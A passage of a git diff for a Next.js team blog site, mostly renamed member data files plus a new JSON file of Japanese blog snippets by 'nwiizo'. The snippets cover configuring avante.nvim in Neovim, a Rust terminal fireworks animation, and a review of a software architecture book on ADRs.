_next/data/kylJxHQl-Q7H_TMHaEHZR/members/kurita.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/kurita.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/kyohmizu.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/kyohmizu.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/kyohmizu.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/kyohmizu.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/masasuzu.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/masasuzu.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/masasuzu.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/masasuzu.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/melanmeg.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/melanmeg.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/melanmeg.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/melanmeg.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/mos914.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/mos914.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/mos914.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/mos914.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/moz-sec.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/moz-sec.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/moz-sec.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/moz-sec.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/myamamoto.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/myamamoto.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/myamamoto.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/myamamoto.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/nnaka2992.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/nnaka2992.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/nnaka2992.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/nnaka2992.json diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/nomadblacky.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/nomadblacky.json similarity index 100% rename from _next/data/kylJxHQl-Q7H_TMHaEHZR/members/nomadblacky.json rename to _next/data/oU_n95RGLi69Ba0jG0Y2K/members/nomadblacky.json diff --git a/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/nwiizo.json b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/nwiizo.json new file mode 100644 index 0000000000..57fa9104dd --- /dev/null +++ b/_next/data/oU_n95RGLi69Ba0jG0Y2K/members/nwiizo.json @@ -0,0 +1 @@ +{"pageProps":{"member":{"id":"nwiizo","name":"nwiizo","role":"Software Developer","bio":"The Passionate Programmer","avatarSrc":"/avatars/nwiizo.jpeg","sources":["https://syu-m-5151.hatenablog.com/feed","https://zenn.dev/nwiizo/feed","https://speakerdeck.com/nwiizo.rss"],"includeUrlRegex":"","twitterUsername":"nwiizo","githubUsername":"nwiizo","websiteUrl":"https://nwiizo.github.io/"},"postItems":[{"title":"NeovimをCursorのように進化させる - yetone/avante.nvim の導入","link":"https://syu-m-5151.hatenablog.com/entry/2025/01/07/220406","contentSnippet":"「もはやCopilotなしでは開発できない」Cursorが体験として革新的すぎる」Clineこそ俺達が求めていたものだ!」とにかく新世代のAIエディターが最高!」 はじめに開発者のタイムラインを開けば、そんな投稿で溢れかえっています。確かに、AIによる開発支援は革新的で、プログラミングの未来を感じさせるものです。特に最近では、単なるコード補完を超えて、より多機能なAIアシスタントとしての役割を担うツールが増えてきています。実は、愛用のNeovimでもこうした最新のAI機能を導入できるんです。しかも、使い慣れたキーバインドやプラグインはそのまま。今回はavante.nvimというプラグインを使って、NeovimをAIパワード開発環境へと進化させる方法をご紹介します。github.comこのプラグインは、私たちvimmerにとって既に身近な存在であるcopilot.luaのような補完機能を超えて、より包括的なAI支援を実現します。コードの理解、リファクタリング、そして対話的なアシスタント機能まで、新世代のAIエディターが持つ機能をNeovimで実現できるのです。これまでのvimmerは、copilot.luaのようなシンプルで効率的なコード補完ツールを活用してきました。しかし、新世代のAIエディターは、コードの解析、リファクタリングの提案、そしてより高度なコンテキスト理解を備えています。この進化に対して、私たちvimmerはどのように向き合うべきでしょうか?でも、待ってください。私たち Vimmer はどうすれば...? 長年磨き上げてきたNeovimを捨てて、新しいエディターに移行しなければいけないのでしょうか?いいえ、Neovimはもっと強くなれます。Neovimの最大の魅力は、その圧倒的なカスタマイズ性。それは単なるIDE(統合開発環境)ではなく、PDE(Personal Development Environment:個人開発環境)とも呼べる存在です。まるで自分だけの剣を鍛え上げていくように、エディターと共に成長していける。そんな独特の魅力がNeovimにはあります。私たちは常にNeovimを進化させ、新しい可能性を追求してきました。copilot.luaがその一例です。そして今、avante.nvimによって、さらなる進化の時が来ています。Neovim 以外の話はこちらです。laiso.hatenablog.comavante.nvim とはavante.nvimは、Cursor AI IDEの機能を模倣することを目的として開発されたNeovimプラグインです。AI駆動のコード提案機能を提供し、その提案を直接ソースファイルに適用できる機能を備えています。上記のカテゴリーでいうとコーディングエージェントに近いものになります。デモ動画こういう経験がサクッと得られるのでよいです。 https://t.co/x7S08l06v9 pic.twitter.com/X4mvE2c2H7— nwiizo (@nwiizo) 2025年1月7日 subを追加する例です。 https://t.co/x7S08l06v9 pic.twitter.com/EyjDkdzP9c— nwiizo (@nwiizo) 2025年1月7日 Note: GitHub上にデモ動画がありますが、実際の動作の様子を簡単に説明させていただきます:avante.nvimを使用すると、画面右側にAIアシスタントのサイドバーが表示され、現在開いているコードについて対話形式で質問や提案を行うことができます。コードの変更提案は差分形式で表示され、ワンクリックで適用することができます。まさにCursor AI IDEのような操作感を、Neovim上で実現しています。実際の動作については、GitHubのリポジトリでも確認することができます。特徴的な機能AIによるコードアシスタント: 現在のコードファイルについてAIに質問し、インテリジェントな提案を受けることができますワンクリック適用: AIの提案をシンプルなコマンドで即座にソースコードに反映できます他の生成AIとの連携: デフォルトのClaudeに加え、ChatGPTやGitHub Copilotを活用したコード提案が可能ですセットアップ方法lazy.nvimを使用した場合の設定例を紹介します。avante.nvimはデフォルトではCursorのように高度なAI機能を利用するように設定されていますが、他にもChatGPTやAzureなども指定できますが今回はより手軽に利用できるGitHub Copilotをプロバイダーとして設定します。これにより、Copilotのライセンスさえあれば、追加のAPIキーの設定なしでAI支援機能を利用することができます。以下が具体的な設定例です。{ \"yetone/avante.nvim\", event = \"VeryLazy\", lazy = false, version = false, opts = { provider = \"copilot\", auto_suggestions_provider = \"copilot\", -- 動作設定 behaviour = { auto_suggestions = false, auto_set_highlight_group = true, auto_set_keymaps = true, auto_apply_diff_after_generation = false, support_paste_from_clipboard = false, minimize_diff = true, }, -- ウィンドウ設定 windows = { position = \"right\", -- サイドバーの位置 wrap = true, -- テキストの折り返し width = 30, -- サイドバーの幅 -- その他の詳細設定は省略 }, }, -- 依存関係の設定 dependencies = { -- 必須の依存関係 \"stevearc/dressing.nvim\", \"nvim-lua/plenary.nvim\", \"MunifTanjim/nui.nvim\", -- オプションの依存関係 \"hrsh7th/nvim-cmp\", \"nvim-tree/nvim-web-devicons\", \"zbirenbaum/copilot.lua\", -- その他の拡張機能 }}私の設定はこちらです。github.com主要なキーマッピングデフォルトで以下のキーマッピングが利用可能です。主にこちらから利用していきます。aa: サイドバーの表示ar: サイドバーの更新af: サイドバーのフォーカス切り替えae: 選択したブロックの編集他ブログでのavante.nvimの紹介zenn.devまとめ開発者の間で「AIエディターこそが主流」という声が広がっていますが、Vimmerは愛用のNeovimを手放す必要はありません。avante.nvimの導入により、Neovimの使い慣れた操作性を維持したまま、最新のAI支援機能を活用することが可能です。特筆すべき点として、GitHub Copilotをプロバイダーとして使用することで、追加のAPIキー設定なしで高度な機能を利用できます。また、洗練されたサイドバーUIにより自然な開発ワークフローを実現し、aaなどのシンプルなキーマッピングで直感的な操作を可能にします。Neovimの最大の魅力である圧倒的なカスタマイズ性を活かしながら、このプラグインを通じてAIパワード開発環境へと進化させることができます。プラグインは現在も活発に開発が継続されており、今後さらなる機能追加が期待できます。PDEとしてのNeovimの魅力を保ちながら、最新のAI支援機能を活用したいVimmerにぜひお勧めのプラグインです。最後に一言。「おい、お前、それは本当にvimmerか?」という声が聞こえてきそうです。しかし、私たちvimmerは常に進化を続けています。新しい技術を取り入れながらも、Vimの哲学と向き合い続けることもまた、vimmerの在り方の一つなのではないでしょうか。","isoDate":"2025-01-07T13:04:06.000Z","dateMiliSeconds":1736255046000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Rustで花火アニメーションと新年メッセージを作ろう","link":"https://syu-m-5151.hatenablog.com/entry/2025/01/04/120812","contentSnippet":"はじめに私がRustという言語と再び出会ったのは、暮れも押し詰まった頃のことだった。シェアハウスの六畳一間の部屋で、誰かの足音の気配だけを感じながら、画面に向かっていた。シェアハウスの共用キッチンからは時折、誰かの料理する音が漏れ聞こえてくるが、年末だというのに妙に静かだった。メモリ安全性という言葉に惹かれたわけでも、高パフォーマンスに心を奪われたわけでもない。ただ、この年の瀬に、誰にも見せることのない花火を打ち上げたかっただけなのだ。深夜のターミナル画面に、デジタルの花を咲かせれば、少しは華やかな年越しになるかもしれない。そんな打算的な期待を胸に、私はコードを書き始めた。年末最後の実装でもバグを出してしまい、『来年もきっと、たくさんの失敗をして恥ずかしいコードを書くことになるだろうな』と考えていました。https://t.co/34hgesMGQu pic.twitter.com/k7f7GyqLoT— nwiizo (@nwiizo) 2025年1月2日 準備まずは、以下の外部クレートをインストールします。chrono: 日付と時刻を扱うためのクレートcolored: ターミナル出力に色をつけるためのクレートrand: 乱数を生成するためのクレートCargo.tomlに以下の行を追加してください。[dependencies]rand = \"0.8\"colored = \"2.0\"chrono = \"0.4\"構造体と列挙型の詳細Fireworkとその周辺の構造体struct Firework { x: f64, // x座標 y: f64, // y座標 velocity: f64, // 上昇速度 particles: Vec, // 爆発後のパーティクル exploded: bool, // 爆発したかどうか color: Color, // 花火の色 sparkles: Vec, // 打ち上げ時の火花}struct Sparkle { x: f64, // 火花のx座標 y: f64, // 火花のy座標 lifetime: i32, // 火花の寿命}Firework構造体は花火1発分の情報を管理します。打ち上げ時にはexplodedがfalseで、上昇中の花火を表示。爆発後はexplodedがtrueとなり、particlesに格納された粒子が広がっていきます。sparklesは打ち上げ中の火花を表現するために使用されます。Particleの詳細struct Particle { x: f64, // x座標 y: f64, // y座標 vx: f64, // x方向の速度 vy: f64, // y方向の速度 lifetime: i32, // パーティクルの寿命 char: char, // 表示する文字 color: Color, // パーティクルの色 trail: Vec<(f64, f64)>, // 軌跡の座標履歴}Particleは爆発後の火花を表現します。物理演算で放物線を描くように、速度と重力の影響を受けます。trailは軌跡を表示するために過去の座標を記録しています。色の実装#[derive(Clone, Copy)]enum Color { Red, Green, Blue, Yellow, Magenta, Cyan, Rainbow, // 時間とともに色が変化 Silver, // 明滅する白 Gold, // 明滅する黄色 Pearl, // 白と水色で明滅}Colorは単色だけでなく、Rainbowのような動的な色変化や、Silver/Gold/Pearlのような明滅効果も実装しています。get_colored_charメソッドで、時間(フレーム数)に応じた色を返します。アニメーションの仕組み花火の更新処理impl Firework { fn update(&mut self) { if !self.exploded { self.y -= self.velocity; // 上昇 // 確率で火花を追加 if rand::thread_rng().gen_bool(0.3) { self.sparkles.push(Sparkle {...}); } // 一定の高さで爆発 if self.y <= rand::thread_rng().gen_range(5.0..15.0) { self.explode(); } } else { // パーティクルの更新と寿命切れの除去 for particle in &mut self.particles { particle.update(); } self.particles.retain(|p| p.lifetime > 0); } }}花火は打ち上げ時と爆発後で異なる動きをします。打ち上げ中は上昇しながら火花を散らし、一定の高さで爆発。爆発後は多数のパーティクルが放物線を描きながら広がります。描画処理の工夫fn draw_frame(fireworks: &Vec, frame_count: u32) { // 背景に星を表示(10フレームごとに配置を変える) if frame_count % 10 == 0 { for _ in 0..50 { let x = rand::thread_rng().gen_range(0..100); let y = rand::thread_rng().gen_range(0..30); frame[y][x] = ('·', Some(Color::Silver)); } } // 各花火の描画 for firework in fireworks { // 打ち上げ火花の描画 for sparkle in &firework.sparkles { let x = sparkle.x as usize; let y = sparkle.y as usize; frame[y][x] = ('。', Some(Color::Pearl)); } if !firework.exploded { // 上昇中の花火 frame[y][x] = ('⁂', Some(firework.color)); } else { // 爆発後のパーティクル for particle in &firework.particles { // 軌跡の描画 for (i, (trail_x, trail_y)) in particle.trail.iter().enumerate() { let char = match i { 0 => '.', 1 => '·', _ => '°', }; frame[y][x] = (char, Some(particle.color)); } } } }}描画処理では、まず背景に点滅する星を配置し、その上に花火を重ねていきます。パーティクルの軌跡は徐々に薄くなるように文字を変えています。これにより、より自然な花火の表現を実現しています。アニメーションとメッセージ表示最後に、main関数でアニメーションとメッセージ表示を行います。fn main() { let year = Local::now().year(); // 現在の年を取得 let mut fireworks = Vec::new(); let mut frame_count = 0; loop { // 花火を追加 if frame_count % 15 == 0 && fireworks.len() < 8 { fireworks.push(Firework::new(rand::thread_rng().gen_range(10.0..90.0))); } // 花火を更新して描画 for firework in &mut fireworks { firework.update(); } draw_frame(&fireworks, frame_count); fireworks.retain(|f| !f.is_done()); thread::sleep(Duration::from_millis(40)); frame_count += 1; // 一定時間後にメッセージを表示 if frame_count > 300 { clear_screen(); display_new_year_message(year); break; } }}ループ内で、一定の間隔で新しい花火を追加し、既存の花火を更新して描画しています。300フレーム後には、display_new_year_message関数を呼び出して新年のメッセージを表示します。この関数では、ASCIIアートを使ってメッセージを作成し、coloredクレートで色をつけています。まとめ結局、プログラムは年越しに間に合わなかった。シェアハウスの他の住人たちは、それぞれの実家や友人たちの元へと消えていき、廊下は一層静かになっていた。コンパイラの指摘する数々のエラーと向き合ううち、除夜の鐘が鳴り響き、新年は音もなく明けてしまった。しかし不思議なことに、深夜2時、ようやく完成したプログラムが描き出す花火の光に、私は密かな充実感を覚えていた。誰にも見せることはないだろうこの花火は、確かに私だけの新年を祝福していたのだから。来年は少し早めに取り掛かろう。もっとも、来年も誰かと過ごすことになるとは限らないが。これは私の経験則である。知らんけど。完全なコードは以下の通りです。github.com","isoDate":"2025-01-04T03:08:12.000Z","dateMiliSeconds":1735960092000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"アーキテクチャ設計の民主化とADR(Architectural Decision Records)による意思決定の未来 - Facilitating Software Architecture の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/31/232546","contentSnippet":"年末年始の慌ただしい時期に、数ある選択肢の中からこちらの記事をお読みいただき、誠にありがとうございます。人生を定期的に振り返ることには、本書で取り上げられているADR(Architecture Decision Records)に通じる素晴らしさがあります。過去の決定とその背景を記録し、将来の自分や他者が参照できる形で残すことは、個人の成長にとって貴重な資産となります。そんな観点から今年を振り返ってみると、2024年は私自身にとって大きな試練と変化の年でした。印象的だったのは、ある時期に突然、技術に対する興味や情熱が完全に失われてしまったことです。それは技術分野に限らず、仕事全般や私生活にも波及し、何をするにも意欲が湧かない、深い無気力状態に陥ってしまいました。しかし、この困難な時期を経て、いくつかの意味のある変化が生まれました。私は以前から技術書の書評を書いていましたが、これは主に自分の理解を深め、将来の自分のための記録として残すことが目的でした。より自分の感想や学びを素直に記録することに注力するようになりました。その結果長文になることも多々ある。この文章も同様に長くなってしまった。外部登壇やブログもいくつか書きました。また、Xでは書籍を紹介するアカウントの運営方法を始めました。めちゃくちゃにバカにされたり批判もされたが明確な敵ができて嬉しい。これは思いがけずフォロワーの方々との貴重な出会いを生み、さらには翻訳書の出版という新たな機会にもつながりました。あとは回復の過程で気づいたのは、基本的な生活習慣を見直すことの大切さでした。規則正しい運動習慣の確立、十分な睡眠時間の確保、そして栄養バランスを意識した食事管理を意識的に行うことで、徐々に日常を取り戻すことができました。また、仕事漬けの状態から一時的に距離を置き、純粋な娯楽を楽しむ時間を作ることも大きな助けとなりました。好きな映画やお笑い番組を観て心を癒したり、仕事や技術とは直接関係のない物語や小説に没頭する時間を意識的に作りました。一見すると遠回りに思えるこれらの活動が、むしろ心の回復を促し、結果として日常への活力を取り戻すきっかけとなったのです。このような経験を通じて、技術や仕事への向き合い方を大きく変えることができました。時には立ち止まり、心身の健康に意識を向けることの大切さを、身をもって学ぶ機会となったのです。そして、この振り返りを書き記すことは、まさにADRのように、将来の自分への重要な指針となることを願っています。あと、以下からtemplateを利用して作成することもできます。adr.github.ioはじめにここからは書評です。年の瀬や新しい年のスタートは、振り返りや目標設定の時期として特別な意味を持つことが多いと思います。そのような忙しい時期に手に取った一冊が、「Facilitating Software Architecture」でした。この本は、現代のソフトウェア開発における複雑な課題に向き合い、分散型アプローチを基盤にした実践的な知見を提供しています。読み進めるうちに、この時期に改めて考えたい「意思決定」「信頼」「チーム文化」といったテーマが深く掘り下げられており、多くの示唆を得ることができました。Facilitating Software Architecture: Empowering Teams to Make Architectural Decisions (English Edition)作者:Harmel-Law, AndrewO'Reilly MediaAmazon本書は、分散型アーキテクチャの実践を通じて、現代のソフトウェア開発における複雑な課題に立ち向かうための方法を探求しています。従来の中央集権的なアーキテクチャ手法の限界を明確にし、変化の激しい開発環境に適応するための分散型アプローチを提案します。ソフトウェア開発は技術的な進化だけでなく、チームや組織文化といった社会的要素とも密接に関連しています。成功する開発チームは、技術的な卓越性を追求するだけでなく、分散化された信頼に基づく意思決定や柔軟なプロセスを取り入れる必要があります。本書では、理論的な原則だけでなく、実践的なアプローチや具体的な事例を交えながら、分散型アーキテクチャを支える方法を体系的に示しています。重要なのは、トップダウンの権限に頼らない意思決定の実現です。組織が成長し複雑化する中で、中央集権的なアプローチはその限界を迎えつつあります。そこで必要となるのが、信頼関係に基づいた民主的な意思決定プロセスです。本書は、このような信頼ベースの分散型アーキテクチャを実現するための具体的な方法論を提供しています。learning.oreilly.comアーキテクチャの民主化が必要な理由の一つは、中央集権的なアプローチに内在する持続可能性の問題です。いかに優秀なアーキテクトであっても、人は組織を去り、知識は失われ、文脈は変化します。アーキテクチャの決定権を特定の個人や小グループに集中させることは、長期的には組織の脆弱性につながります。分散型アプローチは、この本質的な課題に対する解決策を提供します。知識と決定権を組織全体で共有することで、個人への依存を減らし、より持続可能な開発文化を築くことができるのです。「中央集権型アプローチの限界」「アドバイスプロセスの導入」「アーキテクチャ意思決定記録(ADR:Architectural Decision Records)」の活用といったテーマを中心に、現代のソフトウェア開発組織が直面する課題とその解決策を深く掘り下げています。この知識は、開発者、アーキテクト、リーダーなど、さまざまな役割の方々がそれぞれの立場でより良い意思決定を行うための指針となるでしょう。ADR(Architecture Decision Records)との出会いは『Fundamentals of Software Architecture』の第19章を通じてでした。後に振り返ると、Design IT!でも触れられていたかもしれませんが、その時点では深く印象に残っていませんでした。learning.oreilly.com初めてADRの概念に触れた時、その単純さと効果的さに強く惹かれました。アーキテクチャ上の重要な決定を、その背景や検討過程も含めて記録するという考え方は、私が長年感じていた「なぜその決定に至ったのか」という疑問への明確な解答でした。ADRの実践において重要なのは、その適用範囲と文脈の深さを適切に見極めることです。あくまでシステムの方向性を決定づける重要な技術選択や、将来に大きな影響を与える可能性のある決定に焦点を当てるべきです。例えば、マイクロサービスアーキテクチャの採用、主要なデータベースの選定、重要なインターフェースの設計などが該当します。ただし、これらの決定についても、組織の規模や文化、個々のプロジェクトや各メンバーの気質などの特性に応じて適切な記録の粒度と範囲を見極める必要があります。一方で、日々の実装上の判断や、影響範囲が限定的な決定については、よりライトウェイトな文書化手法を選択すべきでしょう。コードのコメント、プルリクエストの説明、あるいはチームのWikiなどが適しています。ADRの価値は、その決定が組織やプロジェクトに与える影響の大きさに比例するからです。その後、実践的な知見を得るために様々な導入事例を調査しました。以下のブログ記事からは具体的な実装方法や運用上の工夫について多くの学びを得ることができました。user-first.ikyu.co.jplaiso.hatenablog.comblog.studysapuri.jp speakerdeck.comこれらの事例研究を通じて、ADRは単なるドキュメンテーションツールではなく、チーム全体の意思決定プロセスを改善し、知識共有を促進する強力な手段であることを理解しました。その後、自身の関わるプロジェクトでもADRを段階的に導入し、マイクロサービスアーキテクチャにおける設計判断の記録と共有に活用してきました。現在では、チーム内の技術的なコミュニケーションにおいて不可欠なツールとなっています。syu-m-5151.hatenablog.comChapter 1. Centralized Architecture Practices in a Decentralized World第1章「Centralized Architecture Practices in a Decentralized World」では、伝統的なソフトウェアアーキテクチャ実践の詳細な分析と、現代の分散化された開発環境における限界について論じています。著者は、5つの重要な革命的変化を軸に、中央集権的なアーキテクチャ実践の課題を説得力ある形で示しています。この章は、アーキテクチャ実践の根本的な変革の必要性を理解する上で重要な示唆を提供します。伝統的なアーキテクチャ実践の限界著者はまず、伝統的なアーキテクチャ実践を「アイボリータワー型」と「ハンズオン型」という2つの代表的なアプローチに分類します。アイボリータワー型アプローチでは、アーキテクトが組織の上層部に位置し、全体を俯瞰的に見渡しながら統制を重視します。このモデルでは、アーキテクトは開発チームから距離を置き、主に文書やレビューを通じて指示を与えます。Figure 1-1. The ivory tower approach to practicing architecture より引用一方、ハンズオン型アプローチでは、アーキテクトが個々の開発チームに密着し、実装レベルでの直接的な支援を行います。このモデルでは、アーキテクトはチーム間を移動しながら、より実践的な指導と支援を提供します。Figure 1-2. The hands-on, cross-team approach to practicing architecture より引用これら2つのアプローチは、一見異なる実践方法を採用していますが、「アーキテクトへの決定権の集中」という本質的な共通点を持ちます。この中央集権的な特徴は、現代の開発環境において深刻な課題を引き起こします。この課題は顕著です。以前参画した大規模マイクロサービス開発プロジェクトでは、アイボリータワー型アーキテクトの理想的な設計と現場の実際のニーズとの間に大きなギャップが生じました。アーキテクトが提案する完璧な設計は、実際の開発現場での制約や要件と整合性が取れず、結果として開発の遅延と品質の低下を招きました。この経験から、現代のソフトウェア開発においては、より柔軟で適応的なアプローチが必要だと強く感じています。ソフトウェア開発を変えた5つの革命著者は、現代のソフトウェア開発を根本的に変革した5つの重要な革命として、アジャイル開発、クラウドコンピューティング、DevOps、プロダクト思考、ストリーム指向チームを提示します。これらの革命により、ソフトウェア開発はより分散的でフィードバック重視の方向へと導かれました。しかし個人的には、これらに加えて大規模言語モデル(LLM)の台頭が、ソフトウェア開発を根本的に変革する新たな革命になると考えています。LLMによる変革は、単なる開発効率の向上にとどまらず、アーキテクチャの設計プロセスやチーム間のコミュニケーション、意思決定の方法そのものを変える可能性を秘めています。例えば、設計の選択肢の探索や過去の決定の分析、ドキュメンテーションの自動生成といった作業が劇的に効率化され、開発者はより本質的な判断や創造的な活動に注力できるようになるでしょう。私は、これら全ての変革の影響を実務で強く実感しています。DevOpsの導入は、開発と運用の壁を取り払い、より迅速なフィードバックサイクルを実現しました。また、プロダクト思考の浸透により、技術的な卓越性だけでなく、実際のビジネス価値の提供に焦点が当たるようになりました。そしてLLMの活用は、これらの革新をさらに加速させ、ソフトウェア開発の未来を大きく変えていくことでしょう。分散化とフィードバックの重要性著者は、現代のソフトウェアアーキテクチャには「分散化」と「フィードバック」という2つの要素が不可欠だと主張します。以前のプロジェクトでは、分散化されたチーム構造を採用することで、各チームの自律性が向上し、より迅速な意思決定が可能になりました。というか人が多すぎるとフィードバックが大変になる。また、継続的なフィードバックの重要性も実感しています。実際の運用から得られる知見を設計に反映する仕組みを確立することで、より実効性の高いアーキテクチャを実現できました。本番環境での問題や予期せぬユースケースから学び、それを設計に反映するサイクルが重要でした。みんなのフィードバック大全作者:三村 真宗光文社Amazonカオスと不確実性への対応著者は、ソフトウェアシステムにおけるカオスと不確実性を、避けるべき問題としてではなく、むしろ自然な特性として受け入れることを提唱します。私も、この視点は極めて重要だと感じています。完璧な設計を追求するのではなく、変化への適応能力を重視する現実的なアプローチが、現代のソフトウェア開発には不可欠です。エンジニアリング組織論への招待 ~不確実性に向き合う思考と組織のリファクタリング作者:広木 大地技術評論社Amazon注目すべきは「弱い創発」の概念です。私が担当したマイクロサービスプロジェクトでは、予期せぬサービス間の相互作用が発生することがありました。しかし、これを問題視するのではなく、システムの進化の機会として捉え直すことで、より柔軟で強靭なアーキテクチャを実現できました。フィードバックループと伝統的アプローチの課題著者は、伝統的なアーキテクチャ実践の最大の問題点として、効果的なフィードバックループの欠如を指摘します。この指摘は、感覚と完全に一致します。たとえばハンズオン型アプローチでさえ、システム全体からの包括的なフィードバックを適切に取り入れることができていません。著者が挙げる追跡番号管理システムの事例は、この課題を明確に示しています。スケーリング機能と再試行メカニズムの相互作用が予期せぬ動作を引き起こすという事例は、私も似たような事例を経験したことがあります。個々のコンポーネントは適切に設計されていても、それらの組み合わせが予想外の結果をもたらすことは、分散システムではよく起こる現象です。チームの分散化とアーキテクチャの整合性著者は、チームの組織構造とアーキテクチャの構造における整合性の重要性を強調します。これはコンウェイの法則の現代的な解釈として理解できます。この整合性は極めて重要です。マイクロサービスアーキテクチャを採用しながら、中央集権的な意思決定プロセスを維持しようとした組織では、深刻な課題が発生します。マイクロサービスの境界設定や技術選定に関する決定が中央のアーキテクチャチームに集中していたため、各開発チームの自律性が損なわれ、結果として開発のボトルネックが発生しました。アーキテクチャの分散化には、それに対応する組織構造の変革が不可欠だと学びました。結論本章は、現代のソフトウェア開発における伝統的なアーキテクチャ実践の限界を明確に示し、新しいアプローチの必要性を説得力ある形で提示しています。著者が示す予測不可能性の受容、創発的な性質の活用、フィードバックの重視という3つの要件は、実践的な指針として極めて有用です。これらの要件は技術的な側面だけでなく、組織的・文化的な変革も必要とすることが分かっています。重要なのは、チームの自律性を高めながら、組織全体としての一貫性を保つバランスです。分散化とフィードバックを重視する新しいアプローチは、このバランスを実現する上で重要な実践基盤となります。今後、ソフトウェア開発の複雑性はさらに増していくことが予想されます。その中で、本章で示された知見は、より適応力の高い組織とアーキテクチャを実現するための重要な指針となるでしょう。Part I. First PrinciplesPart I. First Principlesは、アーキテクチャ実践の基本原則を示す重要なパートです。伝統的なソフトウェアアーキテクチャの実践が直面する課題と、その解決策として分散型の意思決定アプローチを提案しています。このパートでは、アーキテクチャ実践の核となる「決定」に焦点を当て、その重要性と評価基準を明確にします。さらに大規模な意思決定の従来のアプローチを検証し、それらが現代のソフトウェア開発における分散型の意思決定と迅速なフィードバックという要件を満たせない理由を分析します。この課題に対する解決策として「アーキテクチャ・アドバイスプロセス」を提案します。このプロセスは分散型の意思決定と迅速なフィードバックを両立させる新しいアプローチです。著者はこのプロセスの導入方法や予想される課題、そしてアーキテクチャ決定記録(ADRs)による信頼構築と組織学習の方法を具体的に説明します。このパートは、現代のソフトウェア開発における効果的なアーキテクチャ実践の基礎となる原則と実践方法を包括的に提供しています。アドバイスプロセスとそれを支える要素の理解は、次のパートで扱う実践的なトピックの土台となります。learning.oreilly.comChapter 2. To Practice Architecture Is to Decide第2章「To Practice Architecture Is to Decide」はソフトウェアアーキテクチャの実践における意思決定の本質と重要性を扱います。アーキテクチャ的に重要な意思決定の定義と判断基準について深く掘り下げています。著者はアーキテクチャ意思決定を構造・非機能特性・依存関係・インターフェース・構築技術の5つの観点から整理し実践的な指針を提供します。Software Architecture and Decision-Making: Leveraging Leadership, Technology, and Product Management to Build Great Products がとても良いがlearning.oreilly.comこの本は島田さんによって翻訳されている。とてもありがたい。ソフトウェアアーキテクトのための意思決定術 リーダーシップ/技術/プロダクトマネジメントの活用作者:Srinath PereraインプレスAmazonアーキテクチャ決定の本質著者はすべてのアーキテクチャ決定が技術的決定である一方で技術的決定の全てがアーキテクチャ決定ではないという重要な区別から議論を始めます。この区別は実務上非常に重要です。私もプロジェクトの初期段階でこの区別が曖昧だったために些末な技術的決定に時間を費やしてしまうケースを何度も目にしてきました。Figure 2-1. All architectural decisions are technical decisions, but not all technical decisions are architectural ones より引用アーキテクチャ決定の基準として著者はMichael Nygardの5つの基準を採用します。構造への影響・非機能特性への影響・依存関係への影響・インターフェースへの影響・構築技術への影響です。この基準は実践的で分かりやすく私も日々の意思決定の判断に活用しています。cognitect.comアーキテクチャ的に重要な決定の特定著者は更に一歩踏み込んでアーキテクチャ的に重要な決定の基準を提示します。重要なのは運用環境へのデプロイとの関係です。どんなに優れた設計も実際に動作するまでは単なる仮説に過ぎません。デプロイを阻害する決定は常に重要です。以前関わったプロジェクトでは理想的なアーキテクチャを追求するあまりデプロイが困難になり結果として価値の提供が遅れるという失敗を経験しました。意思決定者の多様性著者はアーキテクチャ決定は必ずしもアーキテクトだけのものではないという重要な指摘を行います。開発者やQAエンジニアも重要なアーキテクチャ決定を行う可能性があります。この視点は伝統的なアーキテクチャ実践からの大きな転換を示唆します。私の現在のプロジェクトでもチームメンバー全員がアーキテクチャ決定に関与する文化を築いています。その結果より良い決定が行われるだけでなくチームの当事者意識も高まっています。意思決定プロセスの重要性著者は意思決定のプロセスよりも結果の重要性を強調します。長時間の検討や意図的な決定であることは必ずしも良い決定を保証しません。むしろ迅速な決定と実践からのフィードバックの方が重要な場合が多いのです。この指摘は私の実務経験とも一致します。完璧な決定を目指して時間をかけるよりも早期に実践し改善を重ねる方が良い結果につながることを何度も経験してきました。結論本章の内容は日々のアーキテクチャ実践に直接活かせる示唆に富んでいます。アーキテクチャ決定の判断基準とデプロイとの関係の2点は重要です。これらの基準を用いることで意思決定の質と速度の両方を改善できます。一方で組織の規模や文化によってはこれらの原則の適用が難しい場合もあります。その場合は段階的な導入や既存のプロセスとの調和を図る必要があるでしょう。結論として本章はアーキテクチャ実践における意思決定の本質を明確に示し実践的な指針を提供しています。これらの知見は現代のソフトウェア開発組